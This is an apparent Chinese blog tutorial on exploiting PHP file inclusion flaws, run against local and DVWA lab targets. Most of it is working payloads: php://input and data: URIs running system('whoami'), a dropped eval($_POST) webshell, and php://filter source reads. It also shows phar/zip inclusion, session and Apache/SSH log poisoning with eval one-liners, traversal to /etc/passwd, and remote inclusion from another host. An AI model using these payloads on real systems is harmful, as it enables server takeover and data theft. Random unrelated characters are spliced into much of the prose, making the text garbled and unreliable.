文件包含
程序開發(fā)人員一般會把重復(fù)使用的函數(shù)寫到單個文件中,需要使用某個函數(shù)時直接調(diào)用此文件,而無需再次編寫,這中文件調(diào)用的過程一般被稱為文件包含暑认。
程序開發(fā)人員一般希望代碼更靈活,所以將被包含的文件設(shè)置為變量揪垄,用來進(jìn)行動態(tài)調(diào)用穷吮,但正是由于這種靈活性逻翁,從而導(dǎo)致客戶端可以調(diào)用一個惡意文件饥努,造成文件包含漏洞。
幾乎所有腳本語言都會提供文件包含的功能八回,但文件包含漏洞在PHP Web Application中居多,而在JSP酷愧、ASP、ASP.NET程序中卻非常少缠诅,甚至沒有溶浴,這是有些語言設(shè)計的弊端。
在PHP中經(jīng)常出現(xiàn)包含漏洞管引,但這并不意味這其他語言不存在士败。
來張圖片壓壓驚
php中引起文件包含漏洞的4個函數(shù):
include()、include_once()褥伴、require()谅将、require_once()
區(qū)別如下:
include:包含并運行指定的文件,包含文件發(fā)生錯誤時重慢,程序警告饥臂,但會繼續(xù)執(zhí)行。
require:包含并運行指定的文件似踱,包含文件發(fā)生錯誤時隅熙,程序直接終止執(zhí)行稽煤。
require_once() 和 include_once() 功能與require() 和 include() 類似。但如果一個文件已經(jīng)被包含過了囚戚,則 require_once() 和 include_once() 則不會再包含它酵熙,以避免函數(shù)重定義或變量重賦值等問題。
當(dāng)利用這四個函數(shù)來包含文件時驰坊,不管文件是什么類型(圖片绿店、txt等等),都會直接作為php文件進(jìn)行解析庐橙。測試代碼:
<?php
$file = $_GET['file'];
include $file;
?>
在同目錄下有個phpinfo.txt假勿,其內(nèi)容為<? phpinfo(); ?>
。則只需要訪問
index.php?file=phpinfo.txt
即可成功解析phpinfo态鳖。
場景
具有相關(guān)的文件包含函數(shù)转培。
文件包含函數(shù)中存在動態(tài)變量,比如include $file;
浆竭。
攻擊者能夠控制該變量浸须,比如 $file = $_GET['file'];
。
分類
文件包含分為:本地(LFI)/遠(yuǎn)程(RFI)包含
本地文件包含漏洞邦泄,顧名思義删窒,指的是能打開并包含本地文件的漏洞。大部分情況下遇到的文件包含漏洞都是LFI顺囊。簡單的測試用例如前所示肌索。
遠(yuǎn)程文件包含漏洞。是指能夠包含遠(yuǎn)程服務(wù)器上的文件并執(zhí)行特碳。由于遠(yuǎn)程服務(wù)器的文件是我們可控的诚亚,因此漏洞一旦存在危害性會很大。
但RFI的利用條件較為苛刻午乓,需要php.ini中進(jìn)行配置
allow_url_fopen = On
allow_url_include = On站宗,重啟apache,即可生效
兩個配置選項均需要為On益愈,才能遠(yuǎn)程包含文件成功梢灭。
另外一臺需要開啟apache
apt-get install apache2
/etc/init.d/apache2 start
注:在php.ini中,allow_url_fopen默認(rèn)一直是On蒸其,而
allow_url_include
從php5.2之后就默認(rèn)為Off敏释。下面例子中測試代碼均為:
<?php
$file = $_GET['file'];
include $file;
?>
allow_url_fopen 默認(rèn)為 On
allow_url_include 默認(rèn)為 Off
若有特殊要求,會在利用條件里指出枣接。
PHP偽協(xié)議以及其他封裝協(xié)議的利用
php://input
利用條件:
allow_url_include = On颂暇。
對allow_url_fopen不做要求。
<?phpinfo();?>
<?php system('whoami');?>
<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['caidao']);?>")?>
包含姿勢
index.php
?file=php://input
POST:
<? phpinfo();?>
命令執(zhí)行
寫入一句話木馬但惶,有寫入的權(quán)限
php://filter
利用條件:無甚
姿勢:
index2.php?file=php://filter/read=convert.base64-encode/resource=index.php
說說index2.php?file=php://filter/read=convert.base64-encode/resource=index.php的含義
首先這是一個file關(guān)鍵字的get參數(shù)傳遞耳鸯,php://是一種協(xié)議名稱湿蛔,php://filter/
是一種訪問本地文件的協(xié)議,/read=convert.base64-encode/
表示讀取的方式是base64編碼后县爬,resource=index.php
表示目標(biāo)文件為index.php阳啥。
舉個例子:
>>> import base64 //base64模塊
>>> base64.b64decode("PD9waHAgDQoJJGZpbGUgPSAkX0dFVFsnZmlsZSddOw0KCWluY2x1ZGUgJGZpbGU7DQo/Pg==") //解密這串加密的字符串
b"<?php \r\n\t$file = $_GET['file'];\r\n\tinclude $file;\r\n?>"
其他姿勢:
index.php?file=php://filter/convert.base64-encode/resource=index.php
效果跟前面一樣,少了read等關(guān)鍵字财喳。在繞過一些waf時也許有用察迟。
phar協(xié)議&&zip協(xié)議
利用phar://協(xié)議特性可以在滲透過程中幫我們繞過一些waf檢測此方法使用要
php版本大于等于php5.3.0
phar://
利用條件:
php版本大于等于php5.3.0
姿勢:
假設(shè)有個文件phpinfo.txt,其內(nèi)容為<?php phpinfo(); ?>耳高,打包成zip壓縮包扎瓶,如下:
指定絕對路徑
index2.php?file=phar://C:\phpStudy\WWW\FileInclusion\phpinfo.zip\phpinfo.txt
或者使用相對路徑(這里phpinfo.zip就在當(dāng)前目錄下)
index2.php?file=phar://phpinfo.zip/phpinfo.txt
zip://
關(guān)于zip://
php版本大于等于php5.3.0
姿勢:
構(gòu)造zip包的方法同phar。
但使用zip協(xié)議泌枪,需要指定絕對路徑概荷,同時將#編碼為%23,之后填上壓縮包內(nèi)的文件碌燕。
index2.php?file=zip://C:\phpStudy\WWW\FileInclusion\phpinfo.zip%23phpinfo.txt
注:
若是使用相對路徑误证,則會包含失敗。
data:URI schema
利用條件:
php版本大于等于php5.2
allow_url_fopen = On
allow_url_include = On
姿勢
/index2.php?file=data:text/plain,<?php phpinfo();?>
執(zhí)行命令:
index2.php?file=data:text/plain,<?php system("whoami");?>
姿勢二:
/index2.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
加號+
的url編碼為%2b
修壕,PD9waHAgcGhwaW5mbygpOz8+
的base64解碼為:<?php phpinfo();?>
執(zhí)行命令
index.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
其中PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
的base64解碼為:<?php system('whoami');?>
包含session
利用條件:session文件路徑已知愈捅,且其中內(nèi)容部分可控。
思路:結(jié)合phpmyadmin慈鸠,因為phpmyadmin每次登錄時蓝谨,會帶上session
session文件的絕對路徑可在phpinfo中查看,session.save_path
常見的php-session存放位置還有這幾個:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
使用以下命令可查看到session文件中的登錄信息
strings /var/lib/php5/sess_258c1be1b00d080bddc58d2896460542facb6f1f | grep root
登錄phpmyadmin時林束,用戶名輸入一句話木馬像棘,再包含session文件稽亏,可getshell
<?php @eval($_POST['root']); ?>
壶冒??截歉?胖腾??瘪松,需要解決咸作,能寫入一句話木馬到session中,phpinfo也可以正常訪問宵睦,但是菜刀就是連不上200ok记罚;糾結(jié),還在解決中
感謝,周大爺?shù)募?xì)心指導(dǎo)壳嚎,問題已經(jīng)解決了桐智。
解決方式:
在瀏覽器里有你的cookie所以你可以直接去訪問對應(yīng)的文件包含頁面末早,用菜刀的話是沒有cookie的所以你沒有辦法去訪問文件包含頁面也就是fi那個頁面。所以說會自動跳轉(zhuǎn)到登錄頁面说庭,顯示200ok
加上cookie之后在重新連接然磷,成功連接
包含日志文件
當(dāng)我們沒有上傳點,并且也沒有url_allow_include功能時刊驴,我們就可以考慮包含服務(wù)器的日志文件姿搜。
利用思路也比較簡單,當(dāng)我們訪問網(wǎng)站時捆憎,服務(wù)器的日志中都會記錄我們的行為舅柜,當(dāng)我們訪問鏈接中包含PHP一句話木馬時,也會被記錄到日志中躲惰。
這時候我們?nèi)绻婪?wù)器的日志位置业踢,我們可以去包含這個文件從而拿到shell。其實整個“包含日志文件漏洞利用”最關(guān)鍵的就是找日志存放的“物理路徑”礁扮,只要找到日志的物理存放路徑知举,一切就可以按部就班的完成利用了。
利用的條件:
- 1太伊、日志的物理存放路徑
- 2雇锡、存在文件包含漏洞
獲取日志存放路徑
(一)日志默認(rèn)路徑
(1) apache+Linux日志默認(rèn)路徑
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log
(2) apache+win2003日志默認(rèn)路徑
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默認(rèn)日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默認(rèn)日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用戶安裝目錄logs目錄下
以我的安裝路徑為例/usr/local/nginx,
那我的日志目錄就是在/usr/local/nginx/logs里
首先,我們直接使用瀏覽器來構(gòu)造“php一句話報錯請求信息”服務(wù)自動記錄此一句話信息到服務(wù)器日志文件中僚焦;
具體構(gòu)造內(nèi)容:
http://127.0.0.1:81/FileInclusion/index2.php?file=<?php @eval($_POST[c]);?>
(2)測試結(jié)果:失敗
利用文件包含漏洞直接訪問“服務(wù)日志文件”锰提,發(fā)現(xiàn)文件包含漏洞并未對構(gòu)造的php一句話進(jìn)行正常解析,觀察發(fā)現(xiàn)是構(gòu)造的PHP一句話中的相關(guān)字符在記錄進(jìn)日志文件后芳悲,相關(guān)的字符被轉(zhuǎn)碼了立肘,導(dǎo)致PHP解析失敗,具體失敗原因見“失敗原因分析”
(3)失敗原因分析
一句話寫入日志文件的利用過程是名扛,利用瀏覽器直接構(gòu)造一個關(guān)于請求資源的報錯信息谅年,消息中包含依據(jù)。報錯信息服務(wù)自動記錄到日志文件肮韧,但實際測試發(fā)現(xiàn)寫入日志文件內(nèi)的報錯信息發(fā)生了字符轉(zhuǎn)碼:
日志文件內(nèi)容如上圖所示:
http://127.0.0.1:81/FileInclusion/index2.php?page=%3C?php%20@eval($_POST[c]);?%3E
"<" ----> 大于號被轉(zhuǎn)碼為了 %3C
">" ----> 小于號被轉(zhuǎn)碼為了 %3E
" " ----> 空格被轉(zhuǎn)碼為了 %20
最后寫入到日志文件中的一句話就變成了 %3C?php%20@eval($_POST[c]);?%3E融蹂。
(4) 失敗總結(jié)
瀏覽器直接構(gòu)造的PHP一句話中特殊字符,會被瀏覽器自動進(jìn)行URL轉(zhuǎn)義弄企,導(dǎo)致最終寫入日志文件中的PHP一句話包含了這些特殊字符超燃,而這些轉(zhuǎn)碼后的編碼PHP并不能進(jìn)行正常的解析。
(5)構(gòu)造一句話拘领,寫入日志文件測試記錄
burpsuit 代理抓包改包構(gòu)造一句話寫入日志文件
(1) burpsuit 代理抓包意乓,修改瀏覽器轉(zhuǎn)碼字符,寫入正確的php一句話木馬到服務(wù)器日志文件约素。
(2) 測試記錄:成功
通過文件包含直接訪問服務(wù)日志文件届良,發(fā)現(xiàn)一句話被執(zhí)行成功本涕;
在用戶發(fā)起請求時,會將請求寫入access.log伙窃,當(dāng)發(fā)生錯誤時將錯誤寫入error.log菩颖,還可以包含Apache的錯誤訪問日志
首先,構(gòu)造一個會報錯的訪問鏈接为障,將利用代碼(PHP一句話)寫入錯誤日志記錄中
http://127.0.0.1:81/FileInclusion/index2.php%3C?php%20@eval($_POST[c]);?%3E
這個鏈接直接訪問的話晦闰,一句話會被編碼成%3C?php%20@eval($_POST[c]);?%3E,所以需要使用Burp suite改一下包鳍怨。
對所截獲的包進(jìn)行修改呻右,點擊go,返回403報錯鞋喇,服務(wù)器錯誤日志文件成功將此次記錄到error.log中
我們根據(jù)日志的路徑構(gòu)造訪問路徑:
http://127.0.0.1:81/FileInclusion/index2.php?file=C:/phpStudy/Apache/logs/access.log
客戶端連接声滥,獲取一句話木馬
SSH log
利用的條件:
利用條件:需要知道ssh-log的位置,且可讀侦香。默認(rèn)情況下為 /var/log/auth.log
姿勢:
用ssh連接:
參考這個網(wǎng)站
包含臨時文件
繞過姿勢
本地文件包含的繞過
(1)%00 截斷
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd%00
(2)編碼%2e%2e%2f
http://192.168.10.131/dvwa/vulnerabilities/fi/?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
遠(yuǎn)程文件包含的繞過
(1)落塑?號
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt?
(2)#號
http://192.168.88.130/dvwa/vulnerabilities/fi/?page=http://192.168.40.155/1.txt%23
https://www.hackingarticles.in/rce-with-lfi-and-ssh-log-poisoning/
https://vulhub.org/#/environments/php/inclusion/